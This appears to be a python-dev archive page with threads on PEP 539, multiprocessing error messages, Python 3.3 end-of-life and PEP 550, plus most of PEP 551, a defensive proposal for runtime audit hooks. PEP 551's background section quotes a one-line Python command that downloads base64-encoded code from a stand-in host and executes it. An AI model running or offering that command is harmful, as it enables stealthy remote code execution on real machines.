invalid key is attempted. In other words, this indicates clearly that the old API is not supported on platforms where it cannot be used reliably, and that no effort will be made to add such support. Rejected Ideas ============== * Do nothing: The status quo is fine because it works on Linux, and platforms wishing to be supported by CPython should follow the requirements of PEP-11. As explained above, while this would be a fair argument if CPython were being to asked to make changes to support particular quirks or features of a specific platform, in this case it is quirk of CPython that prevents it from being used to its full potential on otherwise POSIX-compliant platforms. The fact that the current implementation happens to work on Linux is a happy accident, and there's no guarantee that this will never change. * Affected platforms should just configure Python ``--without-threads``: This is a possible temporary workaround to the issue, but only that. Python should not be hobbled on affected platforms despite them being otherwise perfectly capable of running multi-threaded Python. * Affected platforms should use CPython's own TLS implementation instead of native TLS implementation: This is a more acceptable alternative to the previous idea, and in fact there had been a patch to do just that [4]_. However, the own implementation being "slower and clunkier" in general than native implementations still needlessly hobbles performance on affected platforms. At least one other module (``tracemalloc``) is also broken if Python is built without native implementation. And this idea cannot be adopted because the own implementation was removed. * Keep the existing API, but work around the issue by providing a mapping from ``pthread_key_t`` values to ``int`` values. A couple attempts were made at this ([5]_, [6]_), but this only injects needless complexity and overhead into performance-critical code on platforms that are not currently affected by this issue (such as Linux). Even if use of this workaround were made conditional on platform compatibility, it introduces platform-specific code to maintain, and still has the problem of the previous rejected ideas of needlessly hobbling performance on affected platforms. Implementation ============== An initial version of a patch [7]_ is available on the bug tracker for this issue. Since the migration to Github, it's being developed in the ``pep539-tss-api`` feature branch [10]_ in Masayuki Yamamoto's fork of the CPython repository on Github. A work-in-progress PR is available at [11]_. This reference implementation covers not only the enhancement request in API features, but also the client codes fix needed to replace the existing TLS API with the new TSS API. Copyright ========= This document has been placed in the public domain. References and Footnotes ======================== .. [1] http://bugs.python.org/issue25658 .. [2] https://bugs.python.org/msg116292 .. [3] https://msdn.microsoft.com/en-us/library/windows/desktop/ms686801(v=vs.85).… .. [4] http://bugs.python.org/file45548/configure-pthread_key_t.patch .. [5] http://bugs.python.org/file44269/issue25658-1.patch .. [6] http://bugs.python.org/file44303/key-constant-time.diff .. [7] http://bugs.python.org/file46379/pythread-tss-3.patch .. [8] https://bugs.python.org/msg298342 .. [9] http://bugs.python.org/issue30832 .. [10] https://github.com/python/cpython/compare/master...ma8ma:pep539-tss-api .. [11] https://github.com/python/cpython/pull/1362 .. [12] https://docs.python.org/3/c-api/init.html#c.Py_FinalizeEx .. [13] It is also called as "stable ABI" (https://www.python.org/dev/peps/pep-0384/) .. [14] http://pubs.opengroup.org/onlinepubs/009695399/functions/pthread_key_create… .. [15] http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf#page=404

3 5

Re: [Python-Dev] bpo-5001: More-informative multiprocessing error messages (#3079)
by Serhiy Storchaka Aug. 31, 2017

Aug. 31, 2017

30.08.17 01:52, Antoine Pitrou пише: > https://github.com/python/cpython/commit/bd73e72b4a9f019be514954b1d40e64dc3… > commit: bd73e72b4a9f019be514954b1d40e64dc3a5e81c > branch: master > author: Allen W. Smith, Ph.D <drallensmith(a)users.noreply.github.com> > committer: Antoine Pitrou <pitrou(a)free.fr> > date: 2017-08-30T00:52:18+02:00 > summary: > > bpo-5001: More-informative multiprocessing error messages (#3079) > > * Make error message more informative > > Replace assertions in error-reporting code with more-informative version that doesn't cause confusion over where and what the error is. > > * Additional clarification + get travis to check > > * Change from SystemError to TypeError > > As suggested in PR comment by @pitrou, changing from SystemError; TypeError appears appropriate. > > * NEWS file installation; ACKS addition (will do my best to justify it by additional work) > > * Making current AssertionErrors in multiprocessing more informative > > * Blurb added re multiprocessing managers.py, queues.py cleanup > > * Further multiprocessing cleanup - went through pool.py > > * Fix two asserts in multiprocessing/util.py > > * Most asserts in multiprocessing more informative > > * Didn't save right version > > * Further work on multiprocessing error messages > > * Correct typo > > * Correct typo v2 > > * Blasted colon... serves me right for trying to work on two things at once > > * Simplify NEWS entry > > * Update 2017-08-18-17-16-38.bpo-5001.gwnthq.rst > > * Update 2017-08-18-17-16-38.bpo-5001.gwnthq.rst > > OK, never mind. > > * Corrected (thanks to pitrou) error messages for notify > > * Remove extraneous backslash in docstring. Please, please don't forget to edit commit messages before merging. An excessively verbose commit message will be kept in the repository forever and will harm future developers that read a history.

6 6

Python 3.3.7 release schedule and end-of-life
by Ned Deily Aug. 31, 2017

Aug. 31, 2017

Python 3.3 is fast approaching its end-of-life date, 2017-09-29. Per our release policy, that date is five years after the initial release of 3.3, 3.3.0 final on 2012-09-29. Note that 3.3 has been in security-fix only mode since the 2014-03-08 release of 3.3.5. It has been a while since we produced a 3.3.x security-fix release and, due to his commitments elsewhere, Georg has agreed for me to lead 3.3 to its well-deserved retirement. To that end, I would like to schedule its next, and hopefully final, security-fix release to coincide with the already announced 3.4.7 security-fix release. In particular, we'll plan to tag and release 3.3.7rc1 on Monday 2017-07-24 (UTC) and tag and release 3.3.7 final on Monday 2017-08-07. In the coming days, I'll be reviewing the outstanding 3.3 security issues and merging appropriate 3.3 PRs. Some of them have been sitting as patches for a long time so, if you have any such security issues that you think belong in 3.3, it would be very helpful if you would review such patches and turn them into 3.3 PRs. As a reminder, here are the guidelines from the devguide as to what is appropriate for a security-fix only branch: "The only changes made to a security branch are those fixing issues exploitable by attackers such as crashes, privilege escalation and, optionally, other issues such as denial of service attacks. Any other changes are not considered a security risk and thus not backported to a security branch. You should also consider fixing hard-failing tests in open security branches since it is important to be able to run the tests successfully before releasing." Note that documentation changes, other than any that might be related to a security fix, are also out of scope. Assuming no new security issues arise prior to the EOL date, 3.3.7 will likely be the final release of 3.3. And you really shouldn't be using 3.3 at all at this point; while downstream distributors are, of course, free to provide support of 3.3 to their customers, in a little over two months when EOL is reached python-dev will no longer accept any issues or make any changes available for 3.3. If you are still using 3.3, you really owe it to your applications, to your users, and to yourself to upgrade to a more recent release of Python 3, preferably 3.6! Many, many fixes, new features, and substantial performance improvements await you. https://www.python.org/dev/peps/pep-0398/ https://devguide.python.org/devcycle/#security-branches -- Ned Deily nad(a)python.org -- []

3 2

Re: [Python-Dev] [Python-checkins] bpo-5001: More-informative multiprocessing error messages (#3079)
by Chris Jerdonek Aug. 30, 2017

Aug. 30, 2017

https://github.com/python/cpython/commit/bd73e72b4a9f019be514954b1d40e64dc3… > commit: bd73e72b4a9f019be514954b1d40e64dc3a5e81c > branch: master > author: Allen W. Smith, Ph.D <drallensmith(a)users.noreply.github.com> > committer: Antoine Pitrou <pitrou(a)free.fr> > date: 2017-08-30T00:52:18+02:00 > summary: > > ... > @@ -307,6 +309,10 @@ def imap(self, func, iterable, chunksize=1): > )) > return result > else: > + if chunksize < 1: > + raise ValueError( > + "Chunksize must be 1+, not {0:n}".format( > + chunksize)) > assert chunksize > 1 It looks like removing this assert statement was missed. --Chris > task_batches = Pool._get_tasks(func, iterable, chunksize) > result = IMapIterator(self._cache) > @@ -334,7 +340,9 @@ def imap_unordered(self, func, iterable, chunksize=1): > )) > return result > else: > - assert chunksize > 1 > + if chunksize < 1: > + raise ValueError( > + "Chunksize must be 1+, not {0!r}".format(chunksize)) > task_batches = Pool._get_tasks(func, iterable, chunksize) > result = IMapUnorderedIterator(self._cache) > self._taskqueue.put(

3 2

Re: [Python-Dev] [Python-checkins] bpo-5001: More-informative multiprocessing error messages (#3079)
by Chris Jerdonek Aug. 30, 2017

Aug. 30, 2017

> https://github.com/python/cpython/commit/bd73e72b4a9f019be514954b1d40e64dc3… > commit: bd73e72b4a9f019be514954b1d40e64dc3a5e81c > branch: master > author: Allen W. Smith, Ph.D <drallensmith(a)users.noreply.github.com> > committer: Antoine Pitrou <pitrou(a)free.fr> > date: 2017-08-30T00:52:18+02:00 > summary: > > bpo-5001: More-informative multiprocessing error messages (#3079) > ... > @@ -254,8 +256,8 @@ def _setup_queues(self): > def apply(self, func, args=(), kwds={}): > ''' > Equivalent of `func(*args, **kwds)`. > + Pool must be running. > ''' > - assert self._state == RUN Also, this wasn't replaced with anything. --Chris > return self.apply_async(func, args, kwds).get() > > def map(self, func, iterable, chunksize=None): > @@ -307,6 +309,10 @@ def imap(self, func, iterable, chunksize=1):

2 1

PEP 550 v4: coroutine policy
by Yury Selivanov Aug. 29, 2017

Aug. 29, 2017

Long story short, I think we need to rollback our last decision to prohibit context propagation up the call stack in coroutines. In PEP 550 v3 and earlier, the following snippet would work just fine: var = new_context_var() async def bar(): var.set(42) async def foo(): await bar() assert var.get() == 42 # with previous PEP 550 semantics run_until_complete(foo()) But it would break if a user wrapped "await bar()" with "wait_for()": var = new_context_var() async def bar(): var.set(42) async def foo(): await wait_for(bar(), 1) assert var.get() == 42 # AssertionError !!! run_until_complete(foo()) Therefore, in the current (v4) version of the PEP, we made all coroutines to have their own LC (just like generators), which makes both examples always raise an AssertionError. This makes it easier for async/await users to refactor their code: they simply cannot propagate EC changes up the call stack, hence any coroutine can be safely wrapped into a task. Nathaniel and Stefan Krah argued on the mailing list that this change in semantics makes the PEP harder to understand. Essentially, context changes propagate up the call stack for regular code, but not for asynchronous. For regular code the PEP behaves like TLS, but for asynchronous it behaves like dynamic scoping. IMO, on its own, this argument is not strong enough to rollback to the older PEP 550 semantics, but I think I've discovered a stronger one: asynchronous context managers. With the current version (v4) of the PEP, it's not possible to set context variables in __aenter__ and in @contextlib.asynccontextmanager: class Foo: async def __aenter__(self): context_var.set('aaa') # won't be visible outside of __aenter__ So I guess we have no other choice other than reverting this spec change for coroutines. The very first example in this email should start working again. This means that PEP 550 will have a caveat for async code: don't rely on context propagation up the call stack, unless you are writing __aenter__ and __aexit__ that are guaranteed to be called without being wrapped into a Task. BTW, on the topic of dynamic scoping. Context manager protocols (both sync and async) is the fundamental reason why we couldn't implement dynamic scoping in Python even if we wanted to. With a classical dynamic scoping in a functional language, __enter__ would have its own scope, which the code in the 'with' block would never be able to access. Thus I propose to stop associating PEP 550 concepts with (dynamic) scoping. Thanks, Yury

5 11

Pep 550 module
by Jim J. Jewett Aug. 29, 2017

Aug. 29, 2017

I think there is general consensus that this should go in a module other than sys. (At least a submodule.) The specific names are still To Be Determined, but I suspect seeing the functions and objects as part of a named module will affect what works. So I am requesting that the next iteration just pick a module name, and let us see how that looks. E.g import dynscopevars user=dynscopevars.Var ("username") myscope=dynscopevars.get_current_scope() childscope=dynscopevars.Scope (parent=myscope,user="bob") -jJ

6 6

PEP 551: Security transparency in the Python runtime
by Steve Dower Aug. 29, 2017

Aug. 29, 2017

Hi python-dev, Those of you who were at the PyCon US language summit this year (or who saw the coverage at https://lwn.net/Articles/723823/) may recall that I talked briefly about the ways Python is used by attackers to gain and/or retain access to systems on local networks. I present here PEP 551, which proposes the core changes needed to CPython to allow sysadmins (or those responsible for defending their networks) to gain visibility into the behaviour of Python processes on their systems. It has already gone before security-sig, and has had a few significant enhancements as a result. There was also quite a positive reaction on Twitter after the first posting (I now have a significant number of infosec people watching what I do very carefully... :) ) Since the PEP should be self-describing, I'll leave context to its text. I believe it is ready for discussion, though there are three incomplete sections. Firstly, the list of audit locations is not yet complete, but is sufficient for the purposes of discussion (I expect to spend time at the upcoming dev sprints arguing about these in ridiculous detail). Second, the performance analysis has not yet been completed with sufficient robustness to make a concrete statement about its impact. Preliminary tests show negligible impact in the normal case, and the "opted-in" case is the user's responsibility. This also relies somewhat on the list of hooks being complete and the implementation having stabilised. Third, the section on recommendations is not settled. It is hard to recommend approaches in what is very much an evolving field, so I am constantly revising parts of this to keep it all restricted to those things enabled by or affected by this PEP. I am *not* trying to present a full guide on how to prevent attackers breaching your system :) My current implementation is available at: https://github.com/zooba/cpython/tree/sectrans The github rendered version of this file is at: https://github.com/python/peps/blob/master/pep-0551.rst (The one on python.org will update at some point, but is a little behind the version in the repo.) Cheers, Steve ----------------------------------------------------------------------------- PEP: 551 Title: Security transparency in the Python runtime Version: $Revision$ Last-Modified: $Date$ Author: Steve Dower <steve.dower(a)python.org> Discussions-To: <security-sig(a)python.org> Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 23-Aug-2017 Python-Version: 3.7 Post-History: 24-Aug-2017 (security-sig) Abstract ======== This PEP describes additions to the Python API and specific behaviors for the CPython implementation that make actions taken by the Python runtime visible to security and auditing tools. The goals in order of increasing importance are to prevent malicious use of Python, to detect and report on malicious use, and most importantly to detect attempts to bypass detection. Most of the responsibility for implementation is required from users, who must customize and build Python for their own environment. We propose two small sets of public APIs to enable users to reliably build their copy of Python without having to modify the core runtime, protecting future maintainability. We also discuss recommendations for users to help them develop and configure their copy of Python. Background ========== Software vulnerabilities are generally seen as bugs that enable remote or elevated code execution. However, in our modern connected world, the more dangerous vulnerabilities are those that enable advanced persistent threats (APTs). APTs are achieved when an attacker is able to penetrate a network, establish their software on one or more machines, and over time extract data or intelligence. Some APTs may make themselves known by maliciously damaging data (e.g., `WannaCrypt <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Nam…>`_) or hardware (e.g., `Stuxnet <https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?nam…>`_). Most attempt to hide their existence and avoid detection. APTs often use a combination of traditional vulnerabilities, social engineering, phishing (or spear-phishing), thorough network analysis, and an understanding of misconfigured environments to establish themselves and do their work. The first infected machines may not be the final target and may not require special privileges. For example, an APT that is established as a non-administrative user on a developer’s machine may have the ability to spread to production machines through normal deployment channels. It is common for APTs to persist on as many machines as possible, with sheer weight of presence making them difficult to remove completely. Whether an attacker is seeking to cause direct harm or hide their tracks, the biggest barrier to detection is a lack of insight. System administrators with large networks rely on distributed logs to understand what their machines are doing, but logs are often filtered to show only error conditions. APTs that are attempting to avoid detection will rarely generate errors or abnormal events. Reviewing normal operation logs involves a significant amount of effort, though work is underway by a number of companies to enable automatic anomaly detection within operational logs. The tools preferred by attackers are ones that are already installed on the target machines, since log messages from these tools are often expected and ignored in normal use. At this point, we are not going to spend further time discussing the existence of APTs or methods and mitigations that do not apply to this PEP. For further information about the field, we recommend reading or watching the resources listed under `Further Reading`_. Python is a particularly interesting tool for attackers due to its prevalence on server and developer machines, its ability to execute arbitrary code provided as data (as opposed to native binaries), and its complete lack of internal auditing. This allows attackers to download, decrypt, and execute malicious code with a single command:: python -c "import urllib.request, base64; exec(base64.b64decode(urllib.request.urlopen('http://my-exploit/py.b64')).decode())" This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being written to disk (base64 is often sufficient to bypass these checks). It also bypasses protections such as file access control lists or permissions (no file access occurs), approved application lists (assuming Python has been approved for other uses), and automated auditing or logging (assuming Python is allowed to access the internet or access another machine on the local network from which to obtain its payload). General consensus among the security community is that totally preventing attacks is infeasible and defenders should assume that they will often detect attacks only after they have succeeded. This is known as the "assume breach" mindset. [1]_ In this scenario, protections such as sandboxing and input validation have already failed, and the important task is detection, tracking, and eventual removal of the malicious code. To this end, the primary feature required from Python is security transparency: the ability to see what operations the Python runtime is performing that may indicate anomalous or malicious use. Preventing such use is valuable, but secondary to the need to know that it is occurring. To summarise the goals in order of increasing importance: * preventing malicious use is valuable * detecting malicious use is important * detecting attempts to bypass detection is critical One example of a scripting engine that has addressed these challenges is PowerShell, which has recently been enhanced towards similar goals of transparency and prevention. [2]_ Generally, application and system configuration will determine which events within a scripting engine are worth logging. However, given the value of many logs events are not recognized until after an attack is detected, it is important to capture as much as possible and filter views rather than filtering at the source (see the No Easy Breach video from `Further Reading`_). Events that are always of interest include attempts to bypass auditing, attempts to load and execute code that is not correctly signed or access-controlled, use of uncommon operating system functionality such as debugging or inter-process inspection tools, most network access and DNS resolution, and attempts to create and hide files or configuration settings on the local machine. To summarize, defenders have a need to audit specific uses of Python in order to detect abnormal or malicious usage. Currently, the Python runtime does not provide any ability to do this, which (anecdotally) has led to organizations switching to other languages. The aim of this PEP is to enable system administrators to deploy a security transparent copy of Python that can integrate with their existing auditing and protection systems. On Windows, some specific features that may be enabled by this include: * Script Block Logging [3]_ * DeviceGuard [4]_ * AMSI [5]_ * Persistent Zone Identifiers [6]_ * Event tracing (which includes event forwarding) [7]_ On Linux, some specific features that may be integrated are: * gnupg [8]_ * sd_journal [9]_ * OpenBSM [10]_ * syslog [11]_ * auditd [12]_ * SELinux labels [13]_ * check execute bit on imported modules On macOS, some features that may be used with the expanded APIs are: * OpenBSM [10]_ * syslog [11]_ Overall, the ability to enable these platform-specific features on production machines is highly appealing to system administrators and will make Python a more trustworthy dependency for application developers. Overview of Changes =================== True security transparency is not fully achievable by Python in isolation. The runtime can audit as many events as it likes, but unless the logs are reviewed and analyzed there is no value. Python may impose restrictions in the name of security, but usability may suffer. Different platforms and environments will require different implementations of certain security features, and organizations with the resources to fully customize their runtime should be encouraged to do so. The aim of these changes is to enable system administrators to integrate Python into their existing security systems, without dictating what those systems look like or how they should behave. We propose two API changes to enable this: an Audit Hook and Verified Open Hook. Both are not set by default, and both require modifications to the entry point binary to enable any functionality. For the purposes of validation and example, we propose a new ``spython``/``spython.exe`` entry point program that enables some basic functionality using these hooks. **However, security-conscious organizations are expected to create their own entry points to meet their own needs.** Audit Hook ---------- In order to achieve security transparency, an API is required to raise messages from within certain operations. These operations are typically deep within the Python runtime or standard library, such as dynamic code compilation, module imports, DNS resolution, or use of certain modules such as ``ctypes``. The new APIs required for audit hooks are:: # Add an auditing hook sys.addaudithook(hook: Callable[str, tuple]) -> None int PySys_AddAuditHook(int (*hook)(const char *event, PyObject *args)); # Raise an event with all auditing hooks sys.audit(str, *args) -> None int PySys_Audit(const char *event, PyObject *args); # Internal API used during Py_Finalize() - not publicly accessible void _Py_ClearAuditHooks(void); Hooks are added by calling ``PySys_AddAuditHook()`` from C at any time, including before ``Py_Initialize()``, or by calling ``sys.addaudithook()`` from Python code. Hooks are never removed or replaced, and existing hooks have an opportunity to refuse to allow new hooks to be added (adding an audit hook is audited, and so preexisting hooks can raise an exception to block the new addition). When events of interest are occurring, code can either call ``PySys_Audit()`` from C (while the GIL is held) or ``sys.audit()``. The string argument is the name of the event, and the tuple contains arguments. A given event name should have a fixed schema for arguments, and both arguments are considered a public API (for a given x.y version of Python), and thus should only change between feature releases with updated documentation. When an event is audited, each hook is called in the order it was added with the event name and tuple. If any hook returns with an exception set, later hooks are ignored and *in general* the Python runtime should terminate. This is intentional to allow hook implementations to decide how to respond to any particular event. The typical responses will be to log the event, abort the operation with an exception, or to immediately terminate the process with an operating system exit call. When an event is audited but no hooks have been set, the ``audit()`` function should include minimal overhead. Ideally, each argument is a reference to existing data rather than a value calculated just for the auditing call. As hooks may be Python objects, they need to be freed during ``Py_Finalize()``. To do this, we add an internal API ``_Py_ClearAuditHooks()`` that releases any ``PyObject*`` hooks that are held, as well as any heap memory used. This is an internal function with no public export, but it triggers an event for all audit hooks to ensure that unexpected calls are logged. See `Audit Hook Locations`_ for proposed audit hook points and schemas, and the `Recommendations`_ section for discussion on appropriate responses. Verified Open Hook ------------------ Most operating systems have a mechanism to distinguish between files that can be executed and those that can not. For example, this may be an execute bit in the permissions field, or a verified hash of the file contents to detect potential code tampering. These are an important security mechanism for preventing execution of data or code that is not approved for a given environment. Currently, Python has no way to integrate with these when launching scripts or importing modules. The new public API for the verified open hook is:: # Set the handler int Py_SetOpenForExecuteHandler(PyObject *(*handler)(const char *narrow, const wchar_t *wide)) # Open a file using the handler os.open_for_exec(pathlike) The ``os.open_for_exec()`` function is a drop-in replacement for ``open(pathlike, 'rb')``. Its default behaviour is to open a file for raw, binary access - any more restrictive behaviour requires the use of a custom handler. (Aside: since ``importlib`` requires access to this function before the ``os`` module has been imported, it will be available on the ``nt``/``posix`` modules, but the intent is that other users will access it through the ``os`` module.) A custom handler may be set by calling ``Py_SetOpenForExecuteHandler()`` from C at any time, including before ``Py_Initialize()``. When ``open_for_exec()`` is called with a handler set, the handler will be passed the processed narrow or wide path, depending on platform, and its return value will be returned directly. The returned object should be an open file-like object that supports reading raw bytes. This is explicitly intended to allow a ``BytesIO`` instance if the open handler has already had to read the file into memory in order to perform whatever verification is necessary to determine whether the content is permitted to be executed. Note that these handlers can import and call the ``_io.open()`` function on CPython without triggering themselves. If the handler determines that the file is not suitable for execution, it should raise an exception of its choice, as well as raising any other auditing events or notifications. All import and execution functionality involving code from a file will be changed to use ``open_for_exec()`` unconditionally. It is important to note that calls to ``compile()``, ``exec()`` and ``eval()`` do not go through this function - an audit hook that includes the code from these calls will be added and is the best opportunity to validate code that is read from the file. Given the current decoupling between import and execution in Python, most imported code will go through both ``open_for_exec()`` and the log hook for ``compile``, and so care should be taken to avoid repeating verification steps. .. note:: The use of ``open_for_exec()`` by ``importlib`` is a valuable first defence, but should not be relied upon to prevent misuse. In particular, it is easy to monkeypatch ``importlib`` in order to bypass the call. Auditing hooks are the primary way to achieve security transparency, and are essential for detecting API Availability ---------------- While all the functions added here are considered public and stable API, the behavior of the functions is implementation specific. The descriptions here refer to the CPython implementation, and while other implementations should provide the functions, there is no requirement that they behave the same. For example, ``sys.addaudithook()`` and ``sys.audit()`` should exist but may do nothing. This allows code to make calls to ``sys.audit()`` without having to test for existence, but it should not assume that its call will have any effect. (Including existence tests in security-critical code allows another vector to bypass auditing, so it is preferable that the function always exist.) ``os.open_for_exec(pathlike)`` should at a minimum always return ``_io.open(pathlike, 'rb')``. Code using the function should make no further assumptions about what may occur, and implementations other than CPython are not required to let developers override the behavior of this function with a hook. Audit Hook Locations ==================== Calls to ``sys.audit()`` or ``PySys_Audit()`` will be added to the following operations with the schema in Table 1. Unless otherwise specified, the ability for audit hooks to abort any listed operation should be considered part of the rationale for including the hook. .. csv-table:: Table 1: Audit Hooks :header: "API Function", "Event Name", "Arguments", "Rationale" :widths: 2, 2, 3, 6 ``PySys_AddAuditHook``, ``sys.addaudithook``, "", "Detect when new audit hooks are being added." ``_PySys_ClearAuditHooks``, ``sys._clearaudithooks``, "", "Notifies hooks they are being cleaned up, mainly in case the event is triggered unexpectedly. This event cannot be aborted." ``Py_SetOpenForExecuteHandler``, ``setopenforexecutehandler``, "", "Detects any attempt to set the ``open_for_execute`` handler." "``compile``, ``exec``, ``eval``, ``PyAst_CompileString``, ``PyAST_obj2mod`` ", ``compile``, "``(code, filename_or_none)``", "Detect dynamic code compilation, where ``code`` could be a string or AST. Note that this will be called for regular imports of source code, including those that were opened with ``open_for_exec``." "``exec``, ``eval``, ``run_mod``", ``exec``, "``(code_object,)``", "Detect dynamic execution of code objects. This only occurs for explicit calls, and is not raised for normal function invocation." ``import``, ``import``, "``(module, filename, sys.path, sys.meta_path, sys.path_hooks)``", "Detect when modules are imported. This is raised before the module name is resolved to a file. All arguments other than the module name may be ``None`` if they are not used or available." ``code_new``, ``code.__new__``, "``(bytecode, filename, name)``", "Detect dynamic creation of code objects. This only occurs for direct instantiation, and is not raised for normal compilation." "``_ctypes.dlopen``, ``_ctypes.LoadLibrary``", ``ctypes.dlopen``, " ``(module_or_path,)``", "Detect when native modules are used." ``_ctypes._FuncPtr``, ``ctypes.dlsym``, "``(lib_object, name)``", "Collect information about specific symbols retrieved from native modules." ``_ctypes._CData``, ``ctypes.cdata``, "``(ptr_as_int,)``", "Detect when code is accessing arbitrary memory using ``ctypes``" ``id``, ``id``, "``(id_as_int,)``", "Detect when code is accessing the id of objects, which in CPython reveals information about memory layout." ``sys._getframe``, ``sys._getframe``, "``(frame_object,)``", "Detect when code is accessing frames directly" ``sys._current_frames``, ``sys._current_frames``, "", "Detect when code is accessing frames directly" ``PyEval_SetProfile``, ``sys.setprofile``, "", "Detect when code is injecting trace functions. Because of the implementation, exceptions raised from the hook will abort the operation, but will not be raised in Python code. Note that ``threading.setprofile`` eventually calls this function, so the event will be audited for each thread." ``PyEval_SetTrace``, ``sys.settrace``, "", "Detect when code is injecting trace functions. Because of the implementation, exceptions raised from the hook will abort the operation, but will not be raised in Python code. Note that ``threading.settrace`` eventually calls this function, so the event will be audited for each thread." ``_PyEval_SetAsyncGenFirstiter``, ``sys.set_async_gen_firstiter``, "", " Detect changes to async generator hooks." ``_PyEval_SetAsyncGenFinalizer``, ``sys.set_async_gen_finalizer``, "", " Detect changes to async generator hooks." ``_PyEval_SetCoroutineWrapper``, ``sys.set_coroutine_wrapper``, "", "Detect changes to the coroutine wrapper." ``Py_SetRecursionLimit``, ``sys.setrecursionlimit``, "``(new_limit,)``", " Detect changes to the recursion limit." ``_PyEval_SetSwitchInterval``, ``sys.setswitchinterval``, "``(interval_us,)`` ", "Detect changes to the switching interval." "``socket.bind``, ``socket.connect``, ``socket.connect_ex``, ``socket.getaddrinfo``, ``socket.getnameinfo``, ``socket.sendmsg``, ``socket.sendto``", ``socket.address``, "``(address,)``", "Detect access to network resources. The address is unmodified from the original call." ``socket.__init__``, "socket()", "``(family, type, proto)``", "Detect creation of sockets. The arguments will be int values." ``socket.gethostname``, ``socket.gethostname``, "", "Detect attempts to retrieve the current host name." ``socket.sethostname``, ``socket.sethostname``, "``(name,)``", "Detect attempts to change the current host name. The name argument is passed as a bytes object." "``socket.gethostbyname``, ``socket.gethostbyname_ex``", " ``socket.gethostbyname``", "``(name,)``", "Detect host name resolution. The name argument is a str or bytes object." ``socket.gethostbyaddr``, ``socket.gethostbyaddr``, "``(address,)``", "Detect host resolution. The address argument is a str or bytes object." ``socket.getservbyname``, ``socket.getservbyname``, "``(name, protocol)``", " Detect service resolution. The arguments are str objects." ``socket.getservbyport``, ``socket.getservbyport``, "``(port, protocol)``", " Detect service resolution. The port argument is an int and protocol is a str." "," ``type.__setattr__``","``(type, attr_name, value)``","Detect monkey patching of types. This event is only raised when the object is an instance of ``type``." "``_PyObject_GenericSetAttr``, ``check_set_special_type_attr``, ``object_set_class``",``object.__setattr__``,"``(object, attr, value)``"," Detect monkey patching of objects. This event is raised for the ``__class__`` attribute and any attribute on ``type`` objects." ``_PyObject_GenericSetAttr``,``object.__delattr__``,"``(object, attr)``"," Detect deletion of object attributes. This event is raised for any attribute on ``type`` objects." ``Unpickler.find_class``,``pickle.find_class``,"``(module_name, global_name)``","Detect imports and global name lookup when unpickling." TODO - more hooks in ``_socket``, ``_ssl``, others? * code objects * function objects SPython Entry Point =================== A new entry point binary will be added, called ``spython.exe`` on Windows and ``spythonX.Y`` on other platforms. This entry point is intended primarily as an example, as we expect most users of this functionality to implement their own entry point and hooks (see `Recommendations`_). It will also be used for tests. Source builds will build ``spython`` by default, but distributions should not include it except as a test binary. The python.org managed binary distributions will not include ``spython``. **Do not accept most command-line arguments** The ``spython`` entry point requires a script file be passed as the first argument, and does not allow any options. This prevents arbitrary code execution from in-memory data or non-script files (such as pickles, which can be executed using ``-m pickle <path>``. Options ``-B`` (do not write bytecode), ``-E`` (ignore environment variables) and ``-s`` (no user site) are assumed. If a file with the same full path as the process with a ``._pth`` suffix (``spython._pth`` on Windows, ``spythonX.Y._pth`` on Linux) exists, it will be used to initialize ``sys.path`` following the rules currently described `for Windows <https://docs.python.org/3/using/windows.html#finding-modules>`_. When built with ``Py_DEBUG``, the ``spython`` entry point will allow a ``-i`` option with no other arguments to enter into interactive mode, with audit messages being written to standard error rather than a file. This is intended for testing and debugging only. **Log security events to a file** Before initialization, ``spython`` will set an audit hook that writes events to a local file. By default, this file is the full path of the process with a ``.log`` suffix, but may be overridden with the ``SPYTHONLOG`` environment variable (despite such overrides being explicitly discouraged in `Recommendations`_). The audit hook will also abort all ``sys.addaudithook`` events, preventing any other hooks from being added. **Restrict importable modules** Also before initialization, ``spython`` will set an open-for-execute hook that validates all files opened with ``os.open_for_exec``. This implementation will require all files to have a ``.py`` suffix (thereby blocking the use of cached bytecode), and will raise a custom audit event ``spython.open_for_exec`` containing ``(filename, True_if_allowed)``. On Windows, the hook will also open the file with flags that prevent any other process from opening it with write access, which allows the hook to perform additional validation on the contents with confidence that it will not be modified between the check and use. Compilation will later trigger a ``compile`` event, so there is no need to read the contents now for AMSI, but other validation mechanisms such as DeviceGuard [4]_ should be performed here. **Restrict globals in pickles** The ``spython`` entry point will abort all ``pickle.find_class`` events that use the default implementation. Overrides will not raise audit events unless explicitly added, and so they will continue to be allowed. Performance Impact ================== **TODO** Full impact analysis still requires investigation. Preliminary testing shows that calling ``sys.audit`` with no hooks added does not significantly affect any existing benchmarks, though targeted microbenchmarks can observe an impact. Performance impact using ``spython`` or with hooks added are not of interest here, since this is considered opt-in functionality. Recommendations =============== Specific recommendations are difficult to make, as the ideal configuration for any environment will depend on the user's ability to manage, monitor, and respond to activity on their own network. However, many of the proposals here do not appear to be of value without deeper illustration. This section provides recommendations using the terms **should** (or **should not**), indicating that we consider it dangerous to ignore the advice, and **may**, indicating that for the advice ought to be considered for high value systems. The term **sysadmins** refers to whoever is responsible for deploying Python throughout your network; different organizations may have an alternative title for the responsible people. Sysadmins **should** build their own entry point, likely starting from the ``spython`` source, and directly interface with the security systems available in their environment. The more tightly integrated, the less likely a vulnerability will be found allowing an attacker to bypass those systems. In particular, the entry point **should not** obtain any settings from the current environment, such as environment variables, unless those settings are otherwise protected from modification. Audit messages **should not** be written to a local file. The ``spython`` entry point does this for example and testing purposes. On production machines, tools such as ETW [7]_ or auditd [12]_ that are intended for this purpose should be used. The default ``python`` entry point **should not** be deployed to production machines, but could be given to developers to use and test Python on non-production machines. Sysadmins **may** consider deploying a less restrictive version of their entry point to developer machines, since any system connected to your network is a potential target. Sysadmins **may** deploy their own entry point as ``python`` to obscure the fact that extra auditing is being included. Python deployments **should** be made read-only using any available platform functionality after deployment and during use. On platforms that support it, sysadmins **should** include signatures for every file in a Python deployment, ideally verified using a private certificate. For example, Windows supports embedding signatures in executable files and using catalogs for others, and can use DeviceGuard [4]_ to validate signatures either automatically or using an ``open_for_exec`` hook. Sysadmins **should** log as many audited events as possible, and **should** copy logs off of local machines frequently. Even if logs are not being constantly monitored for suspicious activity, once an attack is detected it is too late to enable auditing. Audit hooks **should not** attempt to preemptively filter events, as even benign events are useful when analyzing the progress of an attack. (Watch the "No Easy Breach" video under `Further Reading`_ for a deeper look at this 